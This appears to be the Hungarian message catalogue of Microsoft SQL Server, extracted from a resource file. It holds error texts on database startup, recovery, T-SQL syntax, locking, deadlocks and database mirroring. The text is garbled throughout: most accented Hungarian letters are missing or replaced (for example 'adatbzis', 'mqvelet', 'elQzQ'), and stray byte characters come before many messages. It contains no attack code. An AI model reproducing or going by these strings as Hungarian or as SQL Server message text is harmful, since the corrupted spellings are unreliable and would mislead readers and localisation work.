A(z)  %1!s!  adatbzis aktulis parancsprogramszintje nem olvashat be. Amennyiben a hiba a  fQ  adatbzis indtsa kzben trtnt, a teljes SQL Server-pldny indulst megakadlyozza majd. Keresse meg a hibkat a korbbi hibanapl-bejegyzsek kztt, tegye meg a szksges intzkedseket, s indtsa jra az adatbzist, hogy lefusson a parancsprogram-alap frissts.

A(z)  %1!s!  kiszolgli tag a jelenlegi biztonsgi krnyezetben nem tud hozzfrni a(z)  %2!s!  adatbzishoz.

hFordtsi hiba miatt a(z)  %1!s!  adatbzison nem sikerlt vgrehajtani egy frisstsi parancsprogramkteget. Nzze meg az elQzQ hibazenetben, hogy melyik sor okozta a hibt.

0A motor parancsprogram-metaadatait nem sikerlt betlteni a(z)  %1!s!  parancsprogram-fggvnytrbl. A Windows ltal jelentett hibakd %2!s! volt. Ez slyos hiba, ltalban srlt vagy nem teljes teleptsre utal. Az SQL Server-pldny javtsa segthet a hiba megoldsban.

Az adatbzis parancsprogramszintjt csak a sysadmin szerepkr tagjai mdosthatjk.

A(z)  %1!s!  adatbzis mg nincs helyrelltva. Vrjon, s prblkozzon jra.

A(z)  %1!s!  adatbzis helyrellts alatt ll. Vrjon a helyrellts befejezQdsig.

,A(z)  %1!s!  adatbzis korltozott mdban van. Csak az adatbzis tulajdonosa, illetve a dbcreator s a sysadmin szerepkr tagjai frhetnek hozz.

A(z)  %1!s!  adatbzis mr meg van nyitva, s egyszerre csak egy felhasznl hasznlhatja.

Tllpte az egy-egy lekrdezshez hasznlt adatbzisok maximlis szmt. A megengedett maximum %1!s!.

8A(z)  %1!s!  adatbzis nem nyithat meg. A helyrellts SUSPECT jelzssel ltta el. Tovbbi informcit az SQL Server rendszer hibanaplja tartalmaz.

A(z)  %1!s!  adatbzis nem nyithat meg. Helyrellts kzepnl tart.

PA frissts sorn az adatbzis %1!s! kivtelt adott meg (slyossg: %2!s!, llapot: %3!s!, cm: %4!s!). Az okot a kivtel szmnak hasznlatval llapthatja meg.

(Olyan adatbzist nem lehet bezrni, amely jelenleg nincsen megnyitva. Az alkalmazsnak ismt csatlakoznia kell, majd prblja meg jra a mqveletet. Ha ezzel a lpssel nem sikerl megoldani a problmt, forduljon a tmogatsi szolgltatsokat elsQdlegesen nyjt flhez.

hKsrlet trtnt a(z)  %2!s!  adatbzisban levQ %1!s! helyrelltsi egysgre val hivatkozsra, az egysg azonban nem ltezik. Forduljon a technikai tmogatsi szolglathoz.

Az SQL Server rendszer a nyomon kvets engedlyezett llapota miatt nem tudja betlteni a(z)  %1!s!  adatbzist. Az SQL Server rendszer jelenleg teleptett kiadsa nem tmogatja a nyomon kvetst. Vagy tiltsa le az adatbzisban a nyomon kvetst az SQL Server rendszer egy tmogatott kiadsnak hasznlatval, vagy frisstse a pldnyt a nyomon kvetst tmogat kiadsra.

 A(z)  %1!s!  adatbzis nem indthat el, mert az SQL Server rendszer jelenlegi kiadsban az adatbzis bizonyos funkcii nem tmogatottak.

TAz SQL Server rendszer az adatvltozsok rgztsnek engedlyezett llapota miatt nem tudja betlteni a(z)  %1!s!  adatbzist. Az SQL Server rendszer jelenleg teleptett kiadsa nem tmogatja az adatvltozsok rgztst. Vagy tiltsa le az adatbzisban az adatvltozsok rgztst az SQL Server rendszer egy tmogatott kiadsnak hasznlatval, vagy frisstse a pldnyt az adatvltozsok rgztst tmogat kiadsra.

A(z)  %1!s!  parancsprogramszintje a(z)  %2!s!  adatbzisban nem vihetQ le %3!s! szintrQl a jelen kiszolgl ltal tmogatott %4!s! szintre. Ez ltalban azt jelenti, hogy egy jvQbeli adatbzis volt csatolva, s a jelenlegi telepts nem tmogatja az alacsonyabb szintre val visszalpst. Teleptse az SQL Server rendszer egy jabb verzijt, s prblja meg ismt az adatbzist megnyitni.

A(z)  %1!s!  adatbzis nem hasznlhat az SQL Server rendszer jelen kiadsban.

A(z)  %1!s!  adatbzis nem frissthetQ, mert az SQL Server rendszer jelenlegi kiadsban nem hasznlhat a(z)  %2!s!  funkci.

A kvetkezQ adatbzis nem nyithat meg, mert nincs elindtva:  %1!s! . Prblja meg jbl, amikor az adatbzis el van indtva.

A(z)  %1!s!  adatbzis nem nyithat meg, mert kapcsolat nlkli llapot.

A(z)  %1!s!  adatbzis nem nyithat meg, mert verziszma (%2!s!) ksQbbi a kiszolgl jelenlegi verziszmnl (%3!s!).

lA(z)  %1!s!  adatbzis nem elrhetQ fjlok, illetve elgtelen memria vagy lemezterlet miatt nem nyithat meg. Tovbbi informcit az SQL Server rendszer hibanaplja tartalmaz.

A(z)  %1!s!  adatbzis (verziszm: %2!s!) nem nyithat meg. Frisstse az adatbzist a legjabb verzira.

Hiba trtnt a(z)  %1!s!  adatbzis bezrsakor. EllenQrizze, van-e korbbi egyb hiba, s prblja jbl elvgezni a mqveletet.

lA(z)  %1!s!  adatbzis nem nyithat meg, mert verziszma %2!s!. A kiszolgl a(z) %3!s! s korbbi verzikat tmogatja. Az alacsonyabb szintre val visszalps nem tmogatott.

A tempdb mqveletet ki kellett hagynia a rendszernek. Nem futtathat olyan lekrdezst, amelyhez a tempdb mqvelet hasznlata szksges

$A(z)  %1!s!  adatbzis nem frissthetQ, mert az SQL Server jelen verzija nem tmogatja az adatbzis mg meg nem jelent verzijt (%2!s!). Nem nyithat meg olyan adatbzis, amely nem kompatibilis az sqlservr.exe jelen verzijval. jra ltre kell hoznia az adatbzist.

A(z)  %1!s!  adatbzis tmeneti llapotban van. Prblkozzon ksQbb az utastssal.

A(z)  %1!s!  adatbzis nem nyithat meg. Tkradatbzisknt mqkdik.

|Engedlyezve van az adatbzis-tkrzs a kvetkezQ adatbzishoz, de nincs kvrum: %1!s!. Az adatbzis nem nyithat meg. EllenQrizze a partner s a tanst kapcsolatok konfigurltsgt.

HEngedlyezve van az adatbzis-tkrzs a kvetkezQ adatbzishoz, de mg nincs szinkronizlva a partnervel: %1!s!. KsQbb prblja jbl elvgezni a mqveletet.

tEngedlyezve van az adatbzis-tkrzs a kvetkezQ adatbzisra, vagy az adatbzis csatlakozott egy rendelkezsre llsi csoporthoz:  %1!s! . Az adatbzis neve nem vltoztathat meg.

\Az erQforrs adatbzis-verzija %1!s!, ez a kiszolgl pedig a(z) %2!s! verzit tmogatja. lltsa vissza a helyes verzit, vagy teleptse jra az SQL Server rendszert.

Az eljrs vgrehajtsa sorn a(z)  %1!s!  adatbzis nem volt hasznlhat.

A(z)  %1!s!  cladatbzis tagja egy rendelkezsre llsi csoportnak, s jelenleg nem rhetQ el lekrdezs cljbl. Vagy fel van fggesztve az adatmozgs, vagy nincs engedlyezve a rendelkezsre llsi msodpldny olvassra val elrse. Ha engedlyezni kvnja a csak olvassi hozzfrst ehhez, illetve a rendelkezsre llsi csoportban szereplQ ms adatbzisokhoz, akkor engedlyezze az olvassi hozzfrst a csoportban szereplQ egy vagy tbb msodlagos rendelkezsre llsi msodpldnyhoz. Tovbbi informci az ALTER AVAILABILITY GROUP utasts lersban olvashat az SQL Server online knyvekben.

A cladatbzis ( %1!s! ) egy rendelkezsre llsi csoportban van, s jelenleg elrhetQ kapcsolatokhoz, ha az alkalmazs szndka csak olvassra van belltva. Az alkalmazsok szndkrl az SQL Server online knyvekben olvashat bQvebben.

A cladatbzis ( %1!s! ) egy rendelkezsre llsi csoportban van, s jelenleg nem engedlyezi a csak olvassi kapcsolatokat. Az alkalmazsok szndkrl az SQL Server online knyvekben olvashat bQvebben.

Az SQL Server nem tudja betlteni a kvetkezQ adatbzist, mert az oszloptrindexet tartalmaz:  %1!s! . Az SQL Server jelenleg teleptett kiadsa nem tmogatja az oszloptrindexeket. Vagy tiltsa le az oszloptrindexet az adatbzisban az SQL Server egy tmogatott kiadsnak hasznlatval, vagy frisstse az SQL Server-pldnyt az oszloptrindexeket tmogat verzira.

hA(z)  %1!s!  adatbzis nem rhetQ el, mert egyetlen online msodlagos msodpldnynl sincs engedlyezve a csak olvassi hozzfrs. EllenQrizze a rendelkezsre llsi csoport konfigurcijt, s gyQzQdjn meg arrl, hogy legalbb egy msodlagos msodpldny csak olvassi hozzfrsre van konfigurlva. Vrja meg, amg egy engedlyezett msodpldny online llapotba kerl, majd prblja jbl elvgezni a csak olvassi mqveletet.

`A kvetkezQ adatbzis nem rhetQ el, mert a msodpldnyi szerepkre RESOLVING, amely nem engedlyezi a kapcsoldst:  %1!s! . KsQbb prblja jbl elvgezni a mqveletet.

Nem sikerlt verzival elltott msolatot ltrehozni az sqlscriptdowngrade.dll fjlrl a Binn mappbl a Binn\Cache mappba. Hiba trtnt a VerInstallFile API futsa sorn, hibakd: %1!s!.

%1!s!. sor: a(z) %2!s! hosszsg vagy pontossgmegads rvnytelen.

h%1!s!. sor: a megadott %2!s! skla rvnytelen.

%1!s!. sor: a(z) %2!s! zradk csak a(z) %3!s! esetben megengedett.

|rvnytelen  %1!s!  oszlop-elQtag: nincs megadva tblanv

%1!s!. sor: rvnytelen eljrsszm (%2!s!). A szmnak 1 s 32767 kztt kell lennie.

\A CREATE TRIGGER nem tartalmaz utastst.

A(z)  %2!s!  %1!s! a numerikus brzols tartomnyn kvl esik (maximlis pontossg: 38).

A(z) %1!s! szm ORDER BY zradkkal megadott SELECT elem vltozt tartalmaz egy oszloppozcit azonost kifejezs rszeknt. A vltozk csak egy oszlopnvre hivatkoz kifejezs szerinti rendezs esetben megengedettek.

A DBCC utastsokban nem engedlyezett a DEFAULT kulcssz hasznlata.

Trvnytelen escape-karakter:  %1!s! .

A(z)  %1!s!  korrelcis nv egy FROM zradkban tbbszr van megadva.

A(z)  %1!s!  korrelcis nvnek ugyanaz az elrhetQsgi neve, mint a(z)  %2!s!  tblnak.

(A FROM zradkban tallhat  %1!s!  s  %2!s!  objektumnak ugyanaz az elrhetQsgi neve. Megklnbztetskhz korrelcis nevek hasznlhatk.

|Egy TOP vagy FETCH zradk rvnytelen rtket tartalmaz.

xON zradkban csak akkor szerepelhet aggregtum, ha HAVING zradkban vagy kivlasztsi listn tallhat segdlekrdezsben van megadva, s ha az sszestett oszlop klsQ hivatkozs.

Illesztett tblkat tartalmaz lekrdezsben nem adhatk meg klsQ illesztsi opertorok.

|A kvetkezQ mutat nem adhat meg egynl tbbszr: %1!s!.

Helytelen szintaxis a(z)  %1!s!  kzelben. Amennyiben a szndk szerint egy tblamutat rsze, WITH kulcsszt s zrjelezst kell hasznlni. A helyes szintaxist az SQL Server online knyvek ismertetik.

rvnytelen oszloplista a GRANT/REVOKE utastsban az objektumnv utn.

Entitsszintq engedlyekre vonatkozan nem adhatk meg rszentitsok (pldul oszlop- vagy biztonsgi kifejezsek) felsorolsai.

rvnytelen %1!s! paramter van megadva a kvetkezQhz: %2!s!.

TRY vagy CATCH hatkrbe val ugrshoz GOTO utasts nem hasznlhat.

A CUBE, ROLLUP s GROUPING SETS szerkezetek GROUP BY ALL zradkban nem engedlyezettek.

A tallzsi md segdlekrdezsek s szrmaztatott tblk esetben rvnytelen.

Ebben az esetben csak llandk megengedettek. Az idQ-szvegkonstanshasznlata nem megengedett, mert az aktulis dtumra hivatkozik.

pA szzalkos rtkeknek 0 s 100 kz kell esnik.

A(z)  %1!s!  oszlop-elQtag nem hasznlhat: Ennek egyeznie kell a(z)  %2!s!  UPDATE zradkban tallhat objektummal.

Az ORDER BY zradk nzetekben, belsQ fggvnyekben, szrmaztatott tblkban, segdlekrdezsekben s kzs tblakifejezsekben rvnytelen, kivve ha TOP, OFFSET vagy FOR XML zradk is meg van adva.

Szintaktikai hiba: az esemnyindt deklarcijban ismtlQdQ mdon van megadva a(z)  %1!s!  mqvelet.

Helytelen szintaxis a(z)  %1!s!  kzelben (vrt:  %2!s! ).

Ebben a CREATE/ALTER DATABASE utastsban %1!s! fjlparamter szksges.

Utastsengedlyekkel nem lehet CASCADE, WITH GRANT vagy AS paramtert megadni.

`Hinyzik vagy res egy objektum- vagy oszlopnv. SELECT INTO utastsok esetben gyQzQdjn meg arrl, hogy mindegyik oszlopnak van neve. Egyb utastsok esetben keressen res aliasneveket. Az    vagy [] formtumban megadott aliasok nem megengedettek. Vltoztassa az aliasnevet egy rvnyes nvre.

pA(z)  %1!s!  kapcsol egynl tbbszr van megadva.

LOG fjl esetben a(z) %1!s! kapcsol hasznlata nem megengedett.

Egymssal tkzQ %1!s! optimalizlsi mutatk vannak megadva.

H %1!s!  mg nincs megvalstva.

MeglvQ fggvnynv nem hasznlhat trolt eljrs nevnek megadshoz.

Aggregtumok nem megengedettek ebben a krnyezetben. Csak skalris kifejezsek megengedettek.

Segdlekrdezsek nem megengedettek ebben a krnyezetben. Csak skalris kifejezsek megengedettek.

xEgymsnak ellentmond zrolsi mutatk vannak megadva.

xA(z) %1!s! s %2!s! kurzorparamter tkzik egymssal.

A kurzorparamterek megadsnl nem megengedett a rgi s az j szintaxis keverse.

Ez a szintaxis csak paramterezett lekrdezseknl megengedett.

,A trolt eljrsokban a kurzorparamtereket OUTPUT s VARYING kapcsolkkal kell megadni, s a CURSOR VARYING OUTPUT sorrendben kell megadni Qket.

xEgymssal tkzQ %1!s! paramterek:  %2!s!  s  %3!s! .

@A DROP STATISTICS utasts esetben az objektum (tbla vagy nzet) s a statisztika nevt egyarnt meg kell adnia  objektumnv.statisztikanv  formtumban.

A(z)  %1!s!  szintaxis smhoz kttt objektumokban nem hasznlhat.

A(z)  %1!s!  rvnytelen nv, mert NULL karaktert vagy rvnytelen Unicode karaktert tartalmaz.

A kivlasztsi listn szereplQ elemek szma meghaladja a maximlisan megengedett %1!s! elemet.

Az IDENTITY fggvny nem hasznlhat UNION, INTERSECT vagy EXCEPT opertort tartalmaz SELECT INTO utastssal.

Kurzordeklarciban nem adhat meg egyszerre READ_ONLY s FOR READ ONLY tulajdonsg.

Eljrson vagy fggvnyen bell nem llthat be, illetve nem llthat vissza a  parseonly  kapcsol.

Egy TOP vagy FETCH zradk sorszmllsi paramterben megadott sorok szmnak egsz szmnak kell lennie.

A text/ntext/image konstansok mg nincsenek implementlva.

A TOP N WITH TIES zradk megfelelQ ORDER BY zradk nlkl nem hasznlhat.

Az ALTER DATABASE ADD FILE hasznlatval nem vehetQ fel fjlcsoport. Hasznlja az ALTER DATABASE ADD FILEGROUP lehetQsget.

`Naplfjlokkal nem hasznlhat fjlcsoport.

A NOLOCK s READUNCOMMITTED zrolsi mutatk nem hasznlhatk INSERT, UPDATE, DELETE vagy MERGE utastsok cloldali tblihoz.

A ktegben utastsknt csak SET SHOWPLAN utastsok szerepelhetnek.

pTblnknt csak egy indexmutat-lista megengedett.

Az indexmutatk csak FROM vagy OPTION zradkban megengedettek.

xA(z)  %1!s!  CREATE INDEX kapcsol mr nem tmogatott.

xJOIN algoritmus nem adhat meg tvoli JOIN utastssal.

tREMOTE mutat csak INNER JOIN zradkkal adhat meg.

A(z)  %1!s!  nem felismerhetQ kurzorparamter a(z) %2!s! kurzor esetben.

tAz ideiglenes fggvnyek ltrehozsa nem megengedett.

A skalris rtkq fggvnyekben szereplQ RETURN utastsokhoz argumentumnak kell tartoznia.

A(z)  %1!s!  fggvnyhez legalbb %2!s! argumentum szksges.

Tblavltozkon nem alkalmazhat az identitsoszlopban vgrehajtott INSERT mqvelet.

hA(z)  %1!s! %2!s!  nem felismerhetQ paramter.

Kurzoron keresztli hozzfrs esetben teljes szveg tpus prediktumban nem hasznlhat vltoz a keressi felttel megadsra.

A kvetkezQ egsz rtk az engedlyezett tartomnyon kvl esik: %1!s!.

A(z) %1!s! nem teszi lehetQv az adatbzis nevnek a szerelvnynv elQtagjaknt val megadst.

A(z)  %1!s!  nem tmogatja a szinkron jellegq esemnyindt-regisztrcit.

Az OWNER a kiszolgli s adatbzisszintq esemnyindtk krnyezetben nem rvnyes kapcsol az EXECUTE AS parancshoz.

XA(z)  %1!s!  rvnytelen esemnytpus.

A(z)  %1!s!  esemnytpus nem tmogatja az esemnyrtestseket.

A FOR XML zradk belltott opertort tartalmaz nzetek, belsQ fggvnyek, szrmaztatott tblk s segdlekrdezsek esetben rvnytelen. KerlQ megoldsknt a szrmaztatott tblk szintaxisnak hasznlatval csomagolja be a belltott opertort tartalmaz SELECT utastst, s alkalmazzon felette FOR XML utastst.

pDeklarlni kell a kvetkezQ tblavltozt:  %1!s! .

A kvetkezQ objektum nem tallhat, mert nem ltezik, vagy nnek nincsenek megfelelQ engedlyei:  %1!s! .

A SET FMTONLY OFF utastsnak a ktegben utols utastsknt kell szerepelnie.

xrvnytelen alaprtk a kvetkezQ paramterhez: %1!s!.

xA(z)  %1!s!  kapcsol ennl a fggvnynl nem rvnyes.

Ebben a krnyezetben a(z)  %2!s!  paramterhez nem adhat meg %1!s! statisztikanv.

`A(z)  %1!s!  nem felismerhetQ szervezQnv.

Smanv nem adhat meg az adatbzis- s kiszolgli szintq esemnyindtk nevnek elQtagjaknt.

hA(z)  %1!s!  mr meg van adva esemnytpusknt.

A CLR tpusok, nvarchar(max), varbinary(max) s xml esetben nem tmogatott az alaprtelmezett paramterrtkek hasznlata.

Az IF UPDATE nem hasznlhat ebben a CREATE TRIGGER utastsban.

A megadott esemnytpus(ok) nem rvnyes(ek) a megadott clobjektumon.

Erre az utastsra vonatkozan nem rvnyes az ON zradk.

A(z)  %1!s!  adatbzis szmra a(z)  %2!s!  fjlcsoportban tallhat elgtelen mretq hely miatt nem sikerlt j lapot foglalni. Alaktsa ki a szksges helyet objektumoknak a fjlcsoportba ejtsvel, tovbbi fjlok felvtelvel a fjlcsoportba, illetve a fjlcsoport meglvQ fjljain az automatikus nvekeds belltsval.

Nem sikerlt helyet foglalni a(z)  %1!s! %2!s! objektum szmra a(z)  %3!s!  adatbzisban, mert a(z)  %4!s!  fjlcsoport tele van. Teremtsen helyet a lemezen a szksgtelen fjlok trlsvel, objektumoknak a fjlcsoportba ejtsvel, tovbbi fjlok felvtelvel a fjlcsoportba, illetve a fjlcsoport meglvQ fjljain az automatikus nvekeds belltsval.

XSikertelen az indexfoglalsi trkp %1!s! jelq lapjnak eltvoltsa, mert valaki ms hasznlja azt az objektumot, amelyikhez ez az indexfoglalsitrkp-lap tartozik.

A helyfoglal funkci nem tud lapot foglalni a(z) %1!s! adatbzisban.

Tblahiba: %1!s! jelq lap. A teszt (%2!s!) sikertelen volt. A(z) 0x%3!s! cm nincs egyeztetve.

pTblahiba: %1!s! jelq lap. Vratlan %2!s! laptpus.

Tblahiba: %1!s! jelq lap. A teszt (%2!s!) sikertelen volt. A(z) %3!s! trolhely (eltols: 0x%4!s!) rvnytelen.

Tblahiba: %1!s! jelq lap. A teszt (%2!s!) sikertelen volt. A(z) %3!s! trolhely esetben a sor beler a szabad terletbe (0x%4!s!).

Tblahiba: %1!s! jelq lap. A teszt (%2!s!) sikertelen volt. A(z) %3!s! trolhely (eltols: 0x%4!s!) tfedsben van az elQzQ sorral.

Tblahiba: %1!s! jelq lap. A teszt (%2!s!) sikertelen volt. Az rtkek: %3!s! s %4!s!.

Tblahiba: (%1!s!:%2!s!) jelq lap, %3!s!. sor. A teszt (%4!s!) sikertelen volt. Az rtkek: %5!s! s %6!s!.

A(z)  %1!s!  fjlcsoportbl nem sikerlt trlni a halasztott felszabadtsokat.

A(z) adatbzis egyszerq neve ( %1!s! ) nem ltezik, vagy a felhasznl nem tag.

A(z) %1!s! azonostj folyamat olyan erQforrs zrolst prblta feloldani, amely nem tartozik hozz: %2!s!. Prblja meg jra a tranzakcit, mert a hibt idQztsi felttel okozhatja. Ha a problma tartsan fennll, forduljon az adatbzis rendszergazdjhoz.

Az SQL Server adatbzismotor pldnya pillanatnyilag nem tud LOCK erQforrst beolvasni. Futassa jra az utastst, amikor kevesebb az aktv felhasznl. Krje az adatbzis rendszergazdjtl, hogy ellenQrizze a pldny zrolsi s memriakonfigurcijt, vagy hogy ellenQrizze, milyen hossz ideje tart tranzakcik vannak.

A tranzakci (folyamatazonost: %1!s!) %2!s! erQforrson holtponti llapotba kerlt egy msik folyamattal, s a rendszer ezt vlasztotta megszntetsre a holtpont feloldsa cljbl. Futtassa jra a tranzakcit.

A Microsoft Distributed Transaction Coordinator (MS DTC) megszaktotta az elosztott tranzakcit.

Indtskor nem sikerlt a kezdeti %1!s! zrolsi szakasz foglalsa. A kiszolglt nem lehet elindtani.

Indtskor nem sikerlt a kezdeti %1!s! zrolstulajdonosi szakasz foglalsa. A kiszolglt nem lehet elindtani.

A zrolsok tteleptse alatt nem lehet zrolstulajdonosi szakaszt foglalni. A kiszolgl mqkdse felfggesztve.

Hiba trtnt a zrolsfigyelQ szl szrmaztatsakor: %1!s!

tBelsQ hiba trtnt. Tl sok a prhuzamos tranzakci.

tA tranzakcibl nem rhetQ el tbb zrolsi osztly.

Az adatbzismotor ksrletet tesz egy olyan zrolscsoport felszabadtsra, amelyet jelenleg nem kt le a tranzakci. Prblja meg jra a tranzakcit. Ha a problma tartsan fennll, forduljon a tmogatsi szolgltathoz.

XLejrt a zrolsi krelem idQtllpse.

Az alkalmazs zrolsa (adatbzistag:  %1!s! , erQforrs:  %2!s! ) nem oldhat fel, mert jelenleg nincsen lektve.

rvnytelen alkalmazszrolsi erQforrs tadsa trtnt a(z) %1!s! szmra.

rvnytelen alkalmazszrolsi md tadsa trtnt a(z) %1!s! szmra.

rvnytelen alkalmazszrolsi tulajdonos tadsa trtnt a(z) %1!s! szmra.

rvnytelen alkalmazszrolsi idQtllps tadsa trtnt a(z) %1!s! szmra.

rvnytelen paramter ( %1!s! ) tadsa trtnt az alkalmazszrolsi funkci vagy eljrs szmra.

rvnytelen adatbzistag tadsa trtnt a(z) %1!s! szmra.

HAz adatbzis-tkrzs fQ szlrutinjnak indtsa a kvetkezQ okbl sikertelen volt: %1!s!. Javtsa ki a hiba okt, s indtsa jra az SQL Server szolgltatst.

,A tanst nem tallt bejegyzst az adatbzis-tkrzs GUID-azonostjhoz {%1!s!-%2!s!-%3!s!-%4!s!%5!s!-%6!s!%7!s!%8!s!%9!s!%10!s!%11!s!}. Nem egyezik a konfigurci. Prblja meg jra a parancsot, vagy lltsa vissza a tanstt az adatbzis egyik tkrzsi partnerrQl.

DA tkrzsi munkamenet tanstja vlaszknt %1!s! hibazenetet (llapot: %2!s!) kapott a(z) %3!s! kiszolgli pldnytl a(z) %4!s! adatbzisra vonatkozan. A hibval kapcsolatban tovbbi tjkoztatst a jelen kiszolgli pldny s a partner kiszolgli pldny hibanapljban tall.

A parancs sikertelen volt, mert foglalt az adatbzis tkre. Adja ki jra a parancsot ksQbb.

A(z)  %1!s!  adatbzisra mr engedlyezve van az adatbzis-tkrzs.

<A szolgltats nem helyezhetQ el biztonsgosan. A hozzfrs rdekben szntesse meg az adatbzis tkrzst, s lltsa helyre a(z)  %1!s!  adatbzist.

A(z)  %1!s!  adatbzis tvoli pldnya nem kapcsoldik az adatbzis helyi pldnyhoz.

A(z)  %1!s!  adatbzis tvoli pldnya nincsen elgg helyrelltva ahhoz, hogy engedlyezhetQ legyen az adatbzis-tkrzs vagy egy rendelkezsre llsi csoporthoz val csatlakoztats. Alkalmaznia kell a hinyz naplrekordokat a tvoli adatbzisra oly mdon, hogy visszalltja az aktulis napl-biztonsgimsolatokat a fQ/elsQdleges adatbzisbl. 

A(z)  %1!s!  adatbzis megkveteli az adatbzisnaplk visszalltst vagy egy jvQbeli tkradatbzisba az adatbzis-tkrzs engedlyezse elQtt, vagy egy msodlagos rendelkezsre llsi adatbzisba annak a rendelkezsre llsi csoporthoz val csatlakoztatsa elQtt. lltsa vissza az aktulis napl-biztonsgimsolatokat a fQadatbzisbl vagy az elsQdleges adatbzisbl. 

Mr engedlyezve van az adatbzis-tkrzs a kvetkezQ adatbzis tvoli pldnyn:  %1!s! .

HA(z)  %1!s!  adatbzis tvoli pldnyhoz nem volt elg biztonsgi msolat a naplkrl ahhoz, hogy mindegyik fjlja egy kzs idQpontig visszallthat legyen.

A(z)  %1!s!  adatbzis tvoli pldnyn nem trtnt meg a visszallts az adatbzis helyi pldnynak napljban lefedett idQpontig.

A kommunikci a(z)  %1!s!  tvoli kiszolgli pldnyval lellt az adatbzis-tkrzs teljes elindtsa elQtt. Az ALTER DATABASE parancs sikertelen volt. Prblja meg jra a parancsot, amikor elindult a tvoli adatbzis.

Az adatbzis bezrs alatt ll mg az adatbzis-tkrzs teljes inicializlsa elQtt. Az ALTER DATABASE parancs sikertelen volt.

A(z)  %1!s!  adatbzis tkrzsi mqvelete sikertelen volt. A krt mqveletet nem sikerlt vgrehajtani.

A kvetkezQ adatbzis nincs konfigurlva adatbzis-tkrzsre:  %1!s! .

A rendszergazda letiltotta az adatbzis-tkrzst a kvetkezQ adatbzisra vonatkozan:  %1!s! .

\A kiszolgl  %1!s!  hlzati cme nem rhetQ el, vagy nem ltezik. EllenQrizze a hlzati cm megnevezst, s hogy mqkdQkpesek a helyi s a tvoli vgpontok portjai.

hA(z)  %1!s!  adatbzis tvoli pldnya nem nyithat meg. EllenQrizze az adatbzis nevt, s ellenQrizze, hogy helyrelltsi llapotban legyen, majd adja ki jra a parancsot.

PAz adatbzis-tkrzsnek nem sikerlt beolvasnia a hlzat llomsnevt. Az opercis rendszer ltal visszaadott hiba: %1!s!. EllenQrizze a hlzati konfigurcit.

A kommunikci a(z)  %1!s!  tvoli kiszolgli pldnyval nem fejezQdtt be az idQtllps elQtt. ElQfordulhat, hogy nem fejezQdtt be az ALTER DATABASE parancs. Prblkozzon jra a paranccsal.

A tkrkiszolgli pldnyon nem szerepelnek a(z)  %1!s!  adatbzis legutbbi vltozsai. A feladattvtel nem hajthat vgre.

LA tulajdonsgnv nem tmogatott.

A tvoli kiszolgli pldnyon a(z)  %1!s!  tulajdonsg jabb rtke tallhat. A tulajdonsg rtke nem vltozott.

A tulajdonsg rtke rvnytelen a kvetkezQre vonatkozan:  %1!s! . A tulajdonsg rtke nem vltozott.

Az ALTER DATABASE SET WITNESS parancs kiadshoz mindhrom kiszolgli pldnynak kapcsoldnia kell egymshoz, s a tkradatbzisnak aktulisnak kell lennie. E felttelek teljeslsekor adja ki jra a parancsot.

A(z)  %1!s!  kiszolgli pldny nem tudott tanstknt mqkdni. Az ALTER DATABASE SET WITNESS parancs sikertelen volt.

A rendszer elutastotta a krelmet, mert a vlaszt ad kiszolgli pldny nincs a krelem kiszolglsra alkalmas llapotban.

TA tanst kiszolgli pldny nevnek az adatbzist kezelQ kt kiszolgli pldnytl eltrQnek kell lennie. Az ALTER DATABASE SET WITNESS parancs sikertelen volt.

pA(z)  %1!s!  adatbzis az adatbzis-tkrzs eltvoltsa miatt instabil llapotban van, gy a helyrellts esetleg sikertelen lehet. Helyrellts utn ellenQrizze az adatokat.

XA(z)  %1!s!  adatbzishoz sem a partner, sem a tanst kiszolgli pldny nem rhetQ el. Adja ki jra a parancsot, amikor legalbb az egyik pldny elrhetQv vlik.

Az ALTER DATABASE SET WITNESS parancs tartama alatt nem maradt egymshoz kapcsoldva mindhrom kiszolgli pldny. ElQfordulhat, hogy az adatbzishoz nincs trstva tanst. EllenQrizze az llapott, s szksg esetn adja ki jra a parancsot.

A(z) %3!s! kiszolgltl (adatbzis: %4!s!) %2!s! tpus, rvnytelen vagy vratlan adatbzis-tkrzsre vonatkoz %1!s! zenet rkezett.

@A(z) %1!s! az adatbzis-tkrzs nem vrt hibjval kapcsolatos vlaszt kapott: llapot   %2!s!, slyossg   %3!s!, llapot   %4!s!, karakterlnc   %5!s!.

A(z)  %1!s!  adatbzis tvoli pldnyhoz tartoz szolgltatsszervezQi azonost nem egyezik az elsQdleges kiszolgl azonostjval.

A(z)  %2!s!  kiszolgli pldnyrl az elgtelen memria miatt nem sikerlt elkldeni a(z)  %1!s!  zenetet. Cskkentse a nem felttlenl szksges memriaterhelst, vagy nvelje a rendszermemria mrett.

A(z) %1!s! kiszolgli pldny elutastotta a konfigurlsi krelmet, tovbbi tjkoztatst hibanaplfjlja tartalmaz. A(z) %2!s! ok s %3!s! llapot diagnosztikai clra hasznos lehet a Microsoft szmra. Ez tranziens hiba, gy a krelem ismtelt prblkozsra valsznqleg sikeres lesz. Javtsa az okot   amennyiben van  , majd prblkozzon jra.

Jelenleg a(z)  %1!s!  adatbzishoz nincs trstva tanst.

Az ALTER DATABASE  %1!s!  parancs nem hajthat vgre, amg nincs mindkt partner kiszolgli pldny mqkdQkpes llapotban, nem fut, s nem kapcsoldik. Indtsa el a partnert, s adja ki jra a parancsot.

A(z)  %1!s!  adatbzis tvoli pldnya nem ltezik. EllenQrizze az adatbzis nevt, s adja ki jra a parancsot.

Az ALTER DATABASE parancs az rvnytelen kiszolgli kapcsoldsi karakterlnc miatt sikertelen volt.

Az ALTER DATABASE parancs sikertelen volt, mert nem lehet ltrehozni a munkaszlat.

Az adatbzis-tkrzsi informci nem volt megtallhat a rendszertblban.

LA partner kiszolgli pldny nevnek az adatbzist kezelQ kiszolgli pldnytl eltrQnek kell lennie. Az ALTER DATABASE SET PARTNER parancs sikertelen volt.

A(z)  %2!s!  adatbzis tvoli tkrzsi partnernl ( %1!s! ) a(z) %3!s! hiba trtnt (llapot: %4!s!, slyossg: %5!s!). Az adatbzis-tkrzst felfggesztette a rendszer. Oldja meg a tvoli kiszolgl hibjt, s folytassa a tkrzst, vagy pedig szntesse meg a tkrzst, s hozza ltre jbl a tkrkiszolgli pldnyt.

8A rendszer felfggeszti az adatbzis-tkrzst. A(z)  %1!s!  kiszolgli pldnynl %2!s! jelq hiba trtnt (llapot: %3!s!, slyossg: %4!s!), amikor a(z)  %5!s!  adatbzis tkrzsi partnereknt mqkdtt. Az adatbzis tkrzsi partnerei megprblhatnak automatikusan helyrellni a hibbl, s folytatni a tkrzsi munkamenetet. Rszletesebb informcirt keressen tovbbi hibazeneteket a hibanaplban.

